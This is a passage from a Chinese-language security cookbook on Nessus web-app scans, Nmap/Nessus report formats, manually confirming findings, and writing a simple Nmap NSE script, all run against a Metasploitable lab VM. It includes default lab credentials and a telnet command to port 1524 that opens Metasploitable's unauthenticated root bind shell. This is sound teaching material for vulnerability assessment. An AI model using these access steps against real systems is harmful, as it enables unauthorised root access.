Nessus 插件足够有效,可以从 OWASP 十大漏洞中识别关键漏洞。Nessus 提供选项供用户提供认证细节,以执行详细扫描并报告各种漏洞。作为 Web 应用程序测试的一部分,Nessus 还扫描应用程序服务器、Web 服务器和数据库中的漏洞;即端到端的漏洞扫描。
准备就绪
本食谱的准备就绪部分与选择合规性扫描策略部分的准备就绪部分相同。本食谱还要求您已经学习并练习了本章中的先前食谱。Metasploitable 包含多个易受攻击的应用程序。在本食谱中,我们将使用 DVWA 来演示 Nessus 执行 Web 应用程序测试的能力:
DVWA 应用程序的默认登录凭据为用户名字段中的admin
,密码字段中的password
,如下所示:
如何做…
执行以下步骤:
-
打开 Nessus Web 客户端。
-
使用安装期间创建的用户详细信息登录 Nessus Web 客户端。
-
导航到策略页面,并通过选择 Web 应用程序测试扫描模板创建新策略。
-
填写策略的名称并导航到凭据:
- 选择 HTTP 身份验证并根据要审计的应用程序填写剩余的参数:
对于此身份验证表单,有多个参数需要填写,例如用户名、密码、登录页面路径、登录提交页面路径、登录参数、检查身份验证页面路径以及用于验证成功身份验证的正则表达式。大多数这些参数可以通过花几分钟观察应用程序的工作方式以及浏览器控制台发送到服务器的请求来获得:
-
保存策略并导航到扫描页面创建新扫描。
-
导航到用户定义的策略,找到 Web 应用程序审计策略文件:
- 选择适当的策略并填写详细信息,如名称、描述和目标。您可以简单地输入主机的 IP 地址或域名,不带任何前缀或后缀路径:
-
启动扫描并等待其完成。
-
扫描完成后,打开它以查看以下信息:
- 导航到漏洞选项卡以检查报告的观察结果:
每个漏洞包括以下部分,以及其他插件详细信息,以帮助您了解漏洞,如下所示:
-
描述
-
解决方案
-
另请参阅
-
输出
-
端口
-
主机
它是如何工作的...
Nessus 插件测试 Web 应用程序与配置的测试用例,并报告失败的漏洞以及相应的输出。报告还揭示了扫描器执行的漏洞利用的大量信息,以帮助用户重新创建问题并创建更好的缓解方法。Nessus Web 应用程序扫描器无法执行任何业务逻辑检查,因为它缺乏这方面的决策算法。因此,最好只使用 Nessus Web 应用程序扫描器模块进行快速测试,然后对应用程序执行全面的渗透测试以获得更好的结果。
第六章:报告分析和确认
在本章中,我们将涵盖以下内容:
-
理解 Nmap 输出
-
理解 Nessus 输出
-
如何使用 Nmap 和其他工具确认 Nessus 漏洞
介绍
在本章中,我们将介绍使用 Nmap 和 Nessus 生成的报告的各种方法。我们还将看一下使用 Nmap 确认 Nessus 报告的漏洞的方法。始终需要确认扫描器报告的漏洞,因为有可能扫描器报告了假阳性漏洞。确认这些漏洞将允许管理团队专注于已确认的漏洞,而不是浪费资源在已报告的假阳性上。Nmap 和 Nessus 生成不同格式的报告,允许用户根据其要求进行选择。
理解 Nmap 输出
Nmap 根据它从远程主机接收到的响应来显示结果。扫描的主机越多,打印在屏幕上的结果就越复杂。当主机数量增加时,在终端或命令提示符中打印这些结果变得不可能。为了解决这个问题,Nmap 支持各种报告格式,可以根据用户的要求使用。存储 Nmap 输出的最简单方法之一是使用>>
运算符,后面跟着一个文本文件名,比如output.txt
。这将允许 Nmap 将所有内容转发到那个文本文件。即使对于 10 个以上的主机,文本文件的内容也变得难以分析。Nmap 还提供了大量冗长和调试信息,以及端口扫描,这可能会使这个过程变得更加复杂。操作系统的检测和指纹识别为这些数据增加了更多的垃圾。
以下命令用于在 IP 地址192.168.75.128
上运行 SYN 扫描,并将显示的输出存储到output.txt
文件中。由于命令提示符在相同的文件夹中运行,因此可以在C:\Users\admin
文件夹中找到此文件。此外,您可以通过在双引号中提及文件的绝对路径来将此文件存储在任何位置:
Nmap –sS –Pn192.168.65.128>> output.txt
让我们通过以下截图来看看结果如何被复制到文本文件中:
导航到 Nmap 安装文件夹并找到output.txt
文件:
您可以使用任何文本编辑器打开此文件。我个人推荐 Notepad++,因为它允许您对文本文件进行复杂的分析,并以分隔的方式显示它们:
Nmap 允许用户使用命令行标志定义输出格式。以下列表解释了 Nmap 允许的不同标志:
-
交互式输出:这是直接显示在终端或命令提示符中的输出类型。这不需要任何特殊的命令提示符参数或标志,因为这是基本的默认输出格式。这个结果不会被存储或保存在任何位置;只有在命令提示符或终端没有关闭的情况下才能访问这个输出。
-
正常输出(
-oN
):这个输出允许用户将交互式输出保存到用户选择的文件中。根据用户选择的冗长级别,这个报告选项进一步削减了交互式输出扫描中不必要的冗长数据。这将允许用户通过省略不需要的数据来更好地查看端口扫描结果。如果用户需要性能数据,比如扫描时间和警报,这不是正确的格式选择。此外,您可以通过提及绝对路径或启动具有相同路径的命令提示符来指定文件夹位置。 -
XML 输出(
-oX
):上传 Nmap 数据到各种工具和网站需要此类型的输出。一旦将此格式上传到任何工具,然后由解析器解析,以便我们可以理解输出中的各种数据类型并相应地对数据进行分离。有许多可用作开源的 XML 解析器,这些解析器是由各种工具 OEM 定制构建的。 -
Grepable 输出(
-oG
):此格式允许用户对生成的输出执行简单的操作,例如grep
,awk
,cut
和diff
。该格式遵循为每个主机创建单行输出的结构,并带有适当的分隔符,以便用户可以使用操作系统中的简单现有工具来分隔和分析结果。Notepad++实用程序就是这样一个例子,它允许基于分隔符的分隔,可以用于创建更有意义的报告。 -
Script kiddie(
-oS
):此格式以脚本形式打印输出。 -
以所有格式保存(
-oA
):此标志允许用户以前面提到的三种格式(-oN
,-oX
和-oG
)生成输出。用户可以简单地使用此标志一次性获得所有三种报告格式,并将其保存在提供的位置的文件中,而不是执行三次不同的扫描以获得输出格式。
Nmap 还提供了作为扫描结果的一部分的各种其他详细信息,其中一些可以通过可用的详细选项来控制。以下是由详细选项产生的一些额外数据:
-
扫描完成时间估计:Nmap 还提供性能数据,例如以分钟为单位的扫描完成时间,这使用户可以了解 Nmap 执行扫描所需的时间。Nmap 会在时间间隔内更新用户有关所花时间和正在执行的任务以及完成百分比的信息。这使用户可以监视更大网络的网络扫描并偶尔改善脚本的执行时间。
-
开放端口:在未启用详细信息的正常扫描中,所有开放端口都会显示在扫描结束时。相反,如果启用了详细信息,则每个开放端口在检测到时都会立即显示。
-
附加警告:Nmap 还会显示在扫描过程中发生的任何警告或错误,无论端口扫描是否需要额外时间,还是与扫描的正常行为有任何差异。这将允许用户检查任何网络限制并相应地采取行动。
-
OS 检测信息:Nmap 中的 OS 检测是使用基于 TCP ISN 和 IP ID 预测的签名检测进行的。如果启用了详细信息,并选择了 OS 检测选项,Nmap 将显示这些 OS 的预测。
-
主机状态:Nmap 还会在运行时打印主机的状态,指示主机是活动的还是已关闭的:
可以与详细信息一起使用的一些选项来控制输出中显示的数据如下:
- 调试输出:调试模式是 Nmap 提供的另一个附加标志选项,可帮助用户进一步了解端口扫描过程的数据。可以通过在详细信息语法后附加
-d
来启用此选项。此外,还可以通过在详细信息语法后附加-d9
来设置要启用的调试级别,范围为 1 至 9。这是最高级别的调试,提供有关正在执行的端口扫描的大量技术数据:
- 数据包跟踪:此选项允许用户获取 Nmap 正在发送的每个数据包的跟踪。这将使用户能够详细了解扫描。可以通过在详细信息语法后附加
--packet-trace
来配置此选项:
准备就绪
为了完成此活动,您必须满足计算机上的以下先决条件:
-
您必须安装 Nmap。
-
您必须对要执行扫描的主机具有网络访问权限。
要安装 Nmap,可以按照第二章中提供的说明进行操作,了解网络扫描工具。这将允许您下载兼容版本的 Nmap 并安装所有必需的插件。为了检查您的计算机是否安装了 Nmap,请打开命令提示符并输入Nmap
。如果 Nmap 已安装,您将看到类似以下的屏幕:
如果您没有看到上述屏幕,请将命令提示符控件移动到 Nmap 安装的文件夹(C:\Program Files\Nmap
)中重试相同步骤。如果这样做后仍然看不到屏幕,请删除并重新安装 Nmap。
为了填充扫描将要执行的主机上的开放端口,您需要对该主机具有网络级访问权限。通过向主机发送 ping 数据包来检查您是否可以访问主机是一种简单的方法。但是,如果在该网络中禁用了 ICMP 和 ping,则此方法仅适用。在禁用 ICMP 的情况下,活动主机检测技术各不相同。我们将在本书的后续部分中详细介绍这一点。
为了获得上述输出,我们需要安装虚拟机。为了运行虚拟机,我建议使用 VMware 的 30 天试用版本,可以从www.vmware.com/products/workstation-pro/workstation-pro-evaluation.html
下载并安装。
对于测试系统,读者可以从information.rapid7.com/download-metasploitable-2017.html
下载 Metasploitable(Rapid 7 提供的一个易受攻击的虚拟机)。执行以下步骤打开 Metasploitable。这提供了各种组件,如操作系统、数据库和易受攻击的应用程序,这将帮助我们测试本章的配方:
- 解压下载的 Metasploitable 软件包:
- 使用安装的 VMware Workstation 或 VMware Player 打开
.vmx
文件:
- 使用
msfadmin
/msfadmin
作为用户名和密码登录:
如何操作…
执行以下步骤:
-
在命令提示符中打开 Nmap。
-
在命令提示符中输入以下语法以获取交互式输出:
Nmap -sS -Pn 192.168.103.129
- 在命令提示符中输入以下语法以获取正常输出:
Nmap -sS -Pn 192.168.103.129 -oN output
您可以导航到system32
文件夹,找到输出文件并用文本编辑工具打开它:
- 在命令提示符中输入以下语法以获取 XML 输出:
Nmap -sS -Pn 192.168.103.129 -oX output
您可以导航到system32
文件夹,找到输出文件并用文本编辑工具打开它:
- 在命令提示符中输入以下语法以获取脚本小子输出:
Nmap -sS -Pn 192.168.103.129 -oS output
您可以导航到system32
文件夹,找到输出文件并用文本编辑工具打开它:
- 在命令提示符中输入以下语法以获取 grepable 格式的输出:
Nmap -sS -Pn 192.168.103.129 -v -oG output
您可以导航到Windows
文件夹,找到输出文件并用文本编辑工具打开它:
- 在命令提示符中输入以下语法以获取启用详细信息的所有格式的输出:
Nmap -sS -Pn 192.168.103.129 -v-oA output
您可以导航到Windows
文件夹,找到输出文件并用文本编辑工具打开它:
它是如何工作的...
这些不同的格式帮助用户利用报告进行多种操作,并以不同的方式分析报告。端口扫描结果代表侦察的关键阶段,这使用户可以进一步规划漏洞扫描和检测活动。然后将这些报告上传到不同的工具和站点进行进一步分析和扫描。值得一提的是,Nmap 是各种漏洞扫描软件的后台实用程序。生成这些报告后,这些工具使用它们来执行进一步的操作。
了解 Nessus 输出
Nessus 更多地是一个面向企业的工具。报告更全面,用户友好。Nessus 提供基于文档和结构的报告。可以通过在扫描结果页面右上角的“导出”下拉菜单中选择所需的格式来导出这些报告:
在这里,我们将介绍 Nessus 支持的报告格式。
Nessus
这种格式允许用户以.nessus
格式导入结果。这是一种只能使用 Nessus 解析的格式。它允许用户下载扫描结果,然后将其导入 Nessus 进行任何类型的分析。
HTML
Nessus 提供了一个 HTML 文件格式的扫描报告的良好示例,这是一个独立的文件,可以在任何浏览器中打开以查看结果。该报告还允许在不同部分之间进行导航,以便用户可以轻松阅读大型报告。这些 HTML 报告也可以定制下载以下报告:
- 执行摘要报告:
-
自定义报告,漏洞和修复措施按主机分组
-
自定义报告,漏洞和修复措施按插件分组
HTML 报告包含以下部分:
- 目录:这列出了按主机和建议漏洞的所需导航窗格。这些包含了复杂报告中的进一步细节,如合规审计:
- 按主机的漏洞:此部分包括按主机的实际漏洞。这遵循报告每个主机的所有漏洞,然后转移到下一个主机的格式。这进一步从每个主机的漏洞数量和风险评级的简单摘要开始。这包括扫描信息,如开始时间和结束时间,以及主机信息:
每个漏洞包括以下部分,其详细信息已在第五章中描述,配置审计:
-
插件 ID
-
简介
-
描述
-
解决方案
-
风险因素
-
参考
-
插件信息和输出:
CSV
CSV 是一种用于在表格中存储数据的简单格式,稍后可以导入到数据库和诸如 Excel 之类的应用程序中。这允许用户将报告导出为.csv
文件,可以使用 Excel 等工具打开。以下是一个示例 CSV 报告的截图:
它包含与 HTML 格式中提到的类似部分。
Nessus 数据库
这是 Nessus 专有的自定义数据库格式。这是一种加密格式,用于存储扫描的详细信息:
导入 Nessus 时需要创建和使用密码。
准备就绪
为了执行此操作,您必须满足计算机上的以下先决条件:
-
您必须安装 Nessus。
-
您必须能够访问要执行扫描的主机的网络。
要安装 Nesus,您可以按照第二章中提供的说明。这将允许您下载兼容版本的 Nessus 并安装所有必需的插件。要检查您的计算机是否已安装 Nessus,请打开搜索栏并搜索Nessus Web 客户端
。一旦找到并点击,它将在默认浏览器窗口中打开:
如果您确定 Nessus 已正确安装,可以直接从浏览器使用https://localhost:8834
URL 打开 Nessus Web 客户端。如果找不到Nessus Web 客户端,您应该删除并重新安装 Nessus。有关删除 Nessus 和安装说明,请参阅第二章,了解网络扫描工具。如果找到Nessus Web 客户端但无法在浏览器窗口中打开它,则需要检查 Nessus 服务是否在 Windows 服务实用程序中运行:
您可以根据需要使用服务实用程序进一步启动和停止 Nessus。为了进一步确认使用命令行界面进行安装,您可以导航到安装目录以查看和访问 Nessus 的命令行实用程序:
建议始终具有管理员级别或根级别凭据,以便为扫描仪提供对所有系统文件的访问权限。这将允许扫描仪执行更深入的扫描,并与非凭证扫描相比,生成更好的结果,因为没有适当的权限,系统将无法访问所有文件和文件夹。策略合规模块仅在 Nessus 的付费版本中可用,例如 Nessus 专业版或 Nessus 管理器。为此,您将需要从 tenable 购买激活密钥,并在设置页面中更新,如下面的屏幕截图所示:
点击编辑按钮打开一个窗口,输入一个新的激活码,你将从 tenable 购买:
为了测试扫描,我们需要安装一个虚拟机。为了运行虚拟机,我建议使用 VMware 的 30 天试用版,可以从www.vmware.com/products/workstation-pro/workstation-pro-evaluation.html
下载并安装。
对于测试系统,读者可以参考上一篇文章的准备就绪部分下载 Metasploitable。
如何做…
执行以下步骤:
-
打开 Nessus Web 客户端。
-
使用您在安装过程中创建的用户登录 Nessus 客户端。
-
对虚拟机执行简单的网络扫描并打开扫描结果:
- 导航到导出功能,并选择 Nessus 格式以下载报告的
.nessus
版本:
- 导航到导出功能,并选择 Nessus 格式以下载报告的 HTML 版本,选择所需的选项:
- 导航到导出功能,并选择 Nessus 格式以下载报告的 CSV 版本:
- 导航到导出功能,并选择 Nessus 格式以下载报告的 Nessus DB 版本:
输入所需的密码,然后单击导出以下载带有扩展名.db
的 Nessus DB 文件。
它是如何工作的...
Nessus 支持的报告格式允许用户以多种方式呈现报告。如果用户希望以安全的方式存储扫描结果,他们可以使用加密的 DB 格式。如果用户希望直接共享报告,他们可以使用报告的 HTML 格式。对于进一步的分析,他们可以使用 CSV 格式将报告结果导入工具或软件。如果用户需要与其他管理员共享扫描结果,他们可以使用.nessus
格式,管理员可以将文件导入其自己的 Nessus 并进行进一步分析。
对于 CSV 报告,如果有多个 CSV 报告并且用户需要在 Windows 中合并所有报告,他们可以从包含所有 CSV 文件的文件夹中打开命令提示符,并使用copy *.csv <新文件名>.csv
命令,从而获得一个合并的 CSV 单个文件。进一步的过滤和去除重复项并排序允许您创建一个线性报告。
如何使用 Nmap 和其他工具确认 Nessus 漏洞
Nessus 报告的大多数漏洞都是基于签名和值的,Nessus 根据插件中的代码做出决定。需要使用手动技术(如 Nmap 脚本或特定端口的开源工具)来确认这些漏洞。这将使管理团队能够将精力集中在消除实际漏洞而不是错误阳性上。此外,有时 Nessus 会报告已经应用了解决方法的漏洞,因为 Nessus 只检查插件中提到的条件,无法识别任何其他偏差。在这个食谱中,我们将查看使用 Nmap 和其他开源工具验证 Nessus 报告的多个漏洞的设置。
为了创建这个食谱,我们将在 Metasploitable 2 的易受攻击的虚拟机上执行一个演示基本网络扫描(请查看准备就绪部分以下载此内容)。扫描完成后,查看结果将显示共计七个关键、五个高、18 个中等和七个低漏洞。在 Nessus 报告的漏洞中,我们将尝试手动确认以下漏洞:
- 绑定外壳后门检测:这是 Nessus 报告的关键风险漏洞。该漏洞指出远程主机上的一个端口允许网络上的任何用户在易受攻击的虚拟机上以 root 权限运行外壳。我们将使用 Windows Telnet 实用程序来确认这个漏洞:
- SSL 版本 2 和 3 协议检测:这是 Nessus 报告的高风险漏洞。该漏洞涉及使用遗留的 SSL 协议,如 SSL 版本 2 和版本 3,已知会导致多个漏洞。我们将使用 Nmap 脚本来确认这个漏洞:
- Apache Tomcat 默认文件:这是 Nessus 报告的中等风险漏洞。该漏洞提到了安装 Apache 工具时创建的各种默认文件。这些文件仍然可以在网络上供任何用户使用,无需身份验证。我们将使用 Web 浏览器(在这种情况下是 Chrome)来确认这个漏洞。
准备就绪
为了创建这个设置,您需要按照前面的食谱“理解 Nmap 输出”和“理解 Nessus 输出”的准备就绪部分中提到的所有步骤进行操作。
如何做到…
执行以下步骤:
- 要确认绑定外壳后门检测,打开 Windows 的命令提示符并输入以下命令:
telnet 192.168.103.129 1524
- 执行后,用户直接登录到远程计算机,无需提供任何身份验证:
- 为了确认用户的权限,我们将使用标准的 Linux 命令
id
来确认漏洞:
这个命令显示 UID 和 GID 都是0
,代表着一个 root 用户,因此我们可以确认这个漏洞是严重的,因为它允许任何远程用户在没有任何认证的情况下登录到机器上。这意味着这个漏洞是可以确认的。
-
对于 SSL v2 和 SSL v3,我们可以通过使用 Nmap 的 Poodle 确认脚本来确定正在运行的版本,因为只有 SSL v3 容易受到 Poodle 攻击。在命令提示符中打开 Nmap。
-
输入以下命令来确定远程服务器是否容易受到 SSL Poodle 攻击:
Nmap -sV –script ssl-poodle -p 25 192.168.103.129
* *
由于 Nmap 没有显示任何结果,让我们检查一下ssl-enum-ciphers
脚本:
即使enum-ciphers
脚本也没有返回任何结果,所以我们可以得出结论,Nmap 无法使用 SSL 密码与端口进行协商。因此,我们可以将漏洞标记为误报。如果在端口25
上使用 Telnet 也收到类似的响应,我们也可以确认相同的情况。这意味着端口25
正在运行非 SSL 明文协议,并且插件对此报告了误报。
- 要确认 Apache 默认文件,请访问 Nessus 在漏洞输出部分提到的 URL:
- 打开浏览器,然后在地址栏中输入
http://192.168.103.129:8180/tomcat-docs/index.html
:
这显示了默认的文档文件夹,确认了服务器上默认文件的存在。这表明这个漏洞是可以确认的。
工作原理...
这些漏洞可以根据其风险进行识别,然后确认,从而使分析人员能够将他们的努力优先放在他们试图确认的漏洞上。识别这些误报需要努力,因为你必须实际利用漏洞并检查它是否可行。为了做到这一点,分析人员必须决定他们愿意为了修复漏洞而付出多少努力。例如,如果漏洞是端口1406
上运行着 SQL 服务对网络中的所有人都是开放的,分析人员就必须决定是只检查开放的端口还是尝试使用默认服务账户或弱密码登录到 SQL 服务。
第七章:理解 Nessus 和 Nmap 的自定义和优化
在本章中,我们将涵盖以下内容:
-
理解 Nmap 脚本引擎及其自定义
-
理解 Nessus 审计策略及其自定义
介绍
从前几章可以清楚地看出,Nmap 脚本引擎和 Nessus 的合规性审计策略是执行全面审计和检查的重要组成部分。用户非常重要的是要了解这些组件的工作原理以及各种定制技术,以执行特定操作。在本章中,我们将详细了解 Nmap 脚本引擎和 Nessus 审计文件的构成,以创建自定义文件并执行特定操作。
理解 Nmap 脚本引擎及其自定义
Nmap 脚本引擎用于运行用户编写的自定义脚本,以自动执行网络级别的操作。通常,Nmap 脚本以.nse
扩展名结尾。这些脚本用于执行以下任务:
-
主机和端口发现:Nmap 被广泛使用的整个目的是执行简单的任务,以检查远程主机是在线还是离线,以及端口的当前状态。
-
版本检测:Nmap 具有各种应用程序和服务签名的数据库,这些签名与从端口接收的响应进行检查,以识别端口上运行的服务,有时还包括特定版本。
-
受影响的漏洞:Nmap 脚本引擎允许用户确定特定端口/服务是否容易受到特定已披露的漏洞的攻击。它取决于用户编写的脚本,从正在运行的服务中查询数据,并根据响应发送自定义数据包,以确定端口/服务是否实际上容易受到攻击。Nmap 脚本使用 Lua 编程语言,我们将在本文中研究一些语法,以编写自定义脚本。所有 Nmap 脚本分为以下类别:
-
认证
:这类脚本处理与任何身份验证相关的检查,例如默认用户名和密码登录,匿名和空登录。 -
广播
:这类脚本用于动态添加新发现的主机,这些主机将由 Nmap 进行扫描,允许用户同时执行完整的网络发现和扫描。 -
暴力
:这类脚本用于进行暴力破解攻击,猜测各种服务的密码,例如 HTTP、数据库、FTP 等。 -
默认
:这类脚本与所有未在命令行中指定的特定脚本一起运行。 -
发现
:这类脚本用于获取有关网络服务及其在网络中的共享资源的更多信息。 -
dos
:这类脚本可能是 Nmap 脚本中最不受欢迎的。这些脚本用于测试导致拒绝服务(DoS)攻击的漏洞,通过使服务崩溃。 -
利用
:这些脚本用于利用特定漏洞。 -
外部
:这类脚本使用外部资源来执行给定的任务。例如,对于任何与 DNS 相关的脚本,Nmap 将不得不查询本地 DNS 服务器。 -
模糊器
:这类脚本用于生成随机有效载荷,以利用特定服务。服务对这些有效载荷的响应可用于确定特定服务是否容易受到攻击。 -
侵入式
:这类脚本用于直接利用漏洞。这些扫描必须在侦察后的后期阶段使用。 -
恶意软件
:这类脚本允许用户确定远程主机是否受到任何恶意软件的影响或是否有任何后门打开。 -
安全
:这类脚本用于获取网络中所有人都可以访问的数据,例如横幅、密钥等。 -
version
:此类别的脚本用于识别和确定远程主机上运行的服务的版本。 -
vuln
:此类别的脚本用于验证特定的漏洞。
语法
以下是在nmap
命令中执行脚本所需的参数:
--script <filename>|<category>|<directory>|<expression>
:此参数允许用户指定要执行的脚本,其中文件名、类别、目录和表达式依次跟随以帮助用户选择脚本。为了执行这些脚本,它们需要存在于 Nmap 安装目录的脚本文件夹中:
此处使用的通用语法如下:
nmap --script afp-ls.nse <host>
--script-args
:如果需要,这允许用户向nmap
命令传递输入。此处使用的通用语法如下:
nmap --script afp-ls.nse --script-args <arguments> <host>
--script-args-file
:这允许用户将文件输入上传到nmap
命令。此处使用的通用语法如下:
nmap --script afp-ls.nse --script-args-file <filename/path> <host>
--script-help <filename>|<category>|<directory>|<expression>
:此参数允许用户获取有关可用脚本的更多信息。此处使用的通用语法如下:
nmap --script-help <filename>
由于输出量很大,我们将其保存到名为output.txt
的文件中,保存在D
驱动器中。在文本编辑器中打开output
文件以查看帮助消息:
--script-trace
:如果使用,此参数将允许用户查看脚本执行的网络通信:
nmap --script afp-ls.nse –script-trace <hostname>
--script-updatedb
:用于更新 Nmap 使用的脚本数据库。此处使用的通用语法如下:
nmap --script-updatedb
环境变量
以下是准备 Nmap 脚本时使用的环境变量:
-
SCRIPT_PATH
:描述脚本的路径 -
SCRIPT_NAME
:描述脚本的名称 -
SCRIPT_TYPE
:此变量用于描述脚本为远程主机调用的规则类型
以下是一个简单 Nmap 脚本的结构:
//Rule section
portrule = function(host, port)
return port.protocol == "tcp"
and port.number == 25
and port.state == "open"
end
//Action section
action = function(host, port)
return "smtp port is open"
end
脚本模板
Nmap 脚本基本上分为三个部分,这里进行了讨论。我们将使用svn.nmap.org/nmap/scripts/smtp-enum-users.nse
中的脚本作为示例来定义这些类别中的数据:
-
Head
**:此部分包含脚本的描述性和依赖性相关数据,以下是各种支持的组件: -
description
:此字段充当脚本的元数据,并描述有关脚本功能的重要信息,以便用户使用。它尝试通过发出VRFY
、EXPN
或RCPT TO
命令来枚举 SMTP 服务器上的用户。此脚本的目标是发现远程系统中的所有用户帐户。脚本将输出找到的用户名列表。如果强制进行身份验证,脚本将停止查询 SMTP 服务器。如果在测试目标主机时发生错误,将打印错误以及在错误发生之前找到的任何组合的列表。用户可以指定要使用的方法及其顺序。脚本将忽略重复的方法。如果未指定,脚本将首先使用RCPT
,然后使用VRFY
和EXPN
。如下所示是指定要使用的方法和顺序的示例:
description = [[
<code>smtp-enum-users.methods={EXPN,RCPT,VRFY}</code>
]]
-
Categories
:此字段允许用户通过提及脚本所属的类别来映射脚本的性质。如前文所述,我们可以使用smtp-enum-users.nse
脚本中的以下语法来提及类别:
categories = {"auth","external","intrusive"}
-
author
:此字段允许脚本的作者提供有关自己的信息,如姓名、联系信息、网站、电子邮件等:
author = "Duarte Silva <duarte.silva@serializing.me>"
-
license
: 此字段用于提及分发脚本所需的任何许可证详细信息,以及标准 Nmap 安装:
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
-
dependencies
: 该字段定义了脚本的运行级别,这意味着如果任何脚本依赖于其他脚本的输出,可以在此处提及,从而允许依赖脚本首先执行。然后可以将此输出传递给脚本二:
dependencies = {"dependant script"}
-
- 脚本库: Nmap 脚本引擎使用变量允许在类似服务上构建不同的脚本。通过使用库的依赖项,作者可以编写全面且小型的脚本。以下表格解释了一些扫描库:
Ajp | cassandra |
---|---|
Amqp | citrixxml |
asn1 | Comm |
base32 | Creds |
base64 | Cvs |
Bin | Datafiles |
Bit | Dhcp |
Bitcoin | dhcp6 |
Bittorrent | Dns |
Bjnp | Dnsbl |
Brute | Dnssd |
Eigrp | Drda |
ftp | Eap |
作为参考,我们可以查看svn.nmap.org/nmap/scripts/smtp-enum-users.nse
上的脚本,以了解库是如何定义的:
local nmap = require "nmap"
local shortport = require "shortport"
local smtp = require "smtp"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"
local unpwdb = require "unpwdb"
这些库中定义了各种函数,我们可以使用以下语法传递参数:<function name>(arg1, arg2, arg3)
。例如,smtp.check_reply("MAIL", response)
。
-
Rules
: 脚本规则用于根据 true 或 false 的布尔结果确定是否要扫描远程主机。只有在规则返回 true 时才会扫描主机。以下是脚本对主机应用的规则: -
prerule()
: 该规则在对主机执行扫描之前执行 -
hostrule(host),portrule(host, port)
: 这些规则在使用提供的脚本扫描每组主机后执行 -
postrule()
: 该规则在所有主机扫描完成后执行
以下是示例脚本smtp-enum-users.nse
中使用的规则:
portrule = shortport.port_or_service({ 25, 465, 587 },
{ "smtp", "smtps", "submission" })
Action
: 该部分包括脚本执行的操作。一旦执行操作,它将根据用户所见的特定结果返回一个特定的结果。以下是示例脚本smtp-enum-users.nse
的操作部分:
action = function(host, port)
local status, result = go(host, port)
-- The go function returned true, lets check if it
-- didn't found any accounts.
if status and #result == 0 then
return stdnse.format_output(true, "Couldn't find any accounts")
end
其中一些库要求脚本以特定格式存在,并且必须使用 NSEDoc 格式。我们将在本教程中看到如何将脚本适应这样的格式。在本教程中,我们将看到如何创建一个脚本,以确定远程主机上是否存在默认的 Tomcat 文件。
准备工作
要完成此活动,您必须满足计算机上的以下先决条件:
-
您必须安装 Nmap。
-
您必须对要执行扫描的主机具有网络访问权限。
要安装 Nmap,可以按照第二章中提供的说明进行操作,了解网络扫描工具。这将允许您下载兼容版本的 Nmap 并安装所有必需的插件。要检查您的计算机是否安装了 Nmap,请打开命令提示符并键入nmap
。如果安装了 Nmap,您将看到类似以下的屏幕:
如果您没有看到上述屏幕,请将命令提示符控制移动到 Nmap 安装的文件夹(C:\Program Files\Nmap
)中,然后重试相同的步骤。如果在此之后仍未看到上述屏幕,请删除并重新安装 Nmap。
为了填充要进行扫描的主机上的开放端口,您需要对该特定主机具有网络级访问权限。通过向主机发送 ping 数据包来检查您是否可以访问特定主机的一种简单方法是通过 ICMP。但是,如果在该网络中禁用了 ICMP 和 ping,则此方法仅在 ICMP 和 ping 启用时才有效。如果禁用了 ICMP,则活动主机检测技术会有所不同。我们将在本书的后面部分更详细地讨论这个问题。
为了获得所示的输出,您需要安装一个虚拟机。为了能够运行虚拟机,我建议使用 VMware 的 30 天试用版本,可以从www.vmware.com/products/workstation-pro/workstation-pro-evaluation.html
下载并安装。
对于测试系统,读者可以从information.rapid7.com/download-metasploitable-2017.html
下载 Metasploitable(Rapid 7 提供的一个易受攻击的虚拟机)。按照以下步骤打开 Metasploitable。这提供了各种组件,如操作系统、数据库和易受攻击的应用程序,这将帮助我们测试本章的示例。按照以下说明开始:
-
解压下载的 Metasploitable 软件包
-
使用安装的 VMware Workstation 或 VMware Player 打开
.vxm
文件 -
使用
msfadmin
/msfadmin
作为用户名和密码登录
如何做...
执行以下步骤:
- 打开文本编辑器,并定义三个部分,
Head
,Rule
和Action
,如下截图所示:
- 让我们从
Head
部分开始。以下是在Head
部分中需要提到的参数,使用以下代码:
-- Head
description = [[Sample script to check whether default apache files are present]]
author = "Jetty"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default", "safe"}
-- Rule
-- Action
- 现在,让我们使用以下代码定义脚本运行所需的库:
local shortport = require "shortport"
local http = require "http"
为了使脚本编写端口规则,我们需要使用shortport
和http
。我们使用shortport
生成端口规则,使用http
简化与 HTTP 和 HTTPS 页面的通信。
- 现在让我们从规则部分开始,引入
shortport
库中包含的shortport
规则。这允许 Nmap 在端口打开时调用操作:
portrule = shortport.http
- 一旦
Head
和Rule
部分完成,我们所要做的就是定义action
页面来执行决定性操作,并确定 URI 中提到的位置是否存在默认的 Tomcat 文档。
action = function(host, port)
local uri = "/tomcat-docs/index.html"
local response = http.get(host, port, uri)
if ( response.status == 200 ) then
return response.body
end
end
在操作部分,我们正在定义需要检查默认文件的 URI。我们使用http.get
函数获取响应,并将其保存在变量 response 中。然后,我们设置了一个 if 条件来检查从服务器接收到的 HTTP 响应是否包含 HTTP 代码 200,这表示页面已成功获取。现在,为了实际查看网页的内容,我们使用response.body
打印接收到的响应。
- 现在让我们尝试执行我们写的脚本,以检查它是否工作或需要故障排除。以下是脚本的截图。将其保存到 Nmap 安装目录中的 scripts 文件夹中,名称为
apache-default-files.nse
:
使用以下语法执行脚本:
nmap --script apache-default-files 192.168.75.128 -p8180 -v
上述截图显示脚本已成功执行,并且检索到的页面是 Apache Tomcat 的默认页面。这意味着主机易受攻击。现在,我们可以将返回变量的值更改为易受攻击,而不是打印如此繁重的输出。
并不总是得出 200 响应意味着远程主机易受攻击的结论,因为响应可能包含自定义错误消息。因此,建议包括基于正则表达式的条件来得出相同的结论,然后相应地返回响应。
- 让我们进一步装饰脚本的格式,并为其编写脚本文档,通过在
Head
部分添加以下行:
---
-- @usage
-- nmap --script apache-default-files` <target>
-- @output
-- PORT STATE SERVICE
-- |_apache-default-files: Vulnerable
脚本现在看起来像这样:
-- Head
description = [[Sample script to check whether default apache files are present]]
author = "Jetty"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default", "safe"}
---
-- @usage
-- nmap --script apache-default-files` <target>
-- @output
-- PORT STATE SERVICE
-- |_apache-default-files: Vulnerable
local shortport = require "shortport"
local http = require "http"
-- Rule
portrule = shortport.http
-- Action
action = function(host, port)
local uri = "/tomcat-docs/index.html"
local response = http.get(host, port, uri)
if ( response.status == 200 ) then
return "vulnerable"
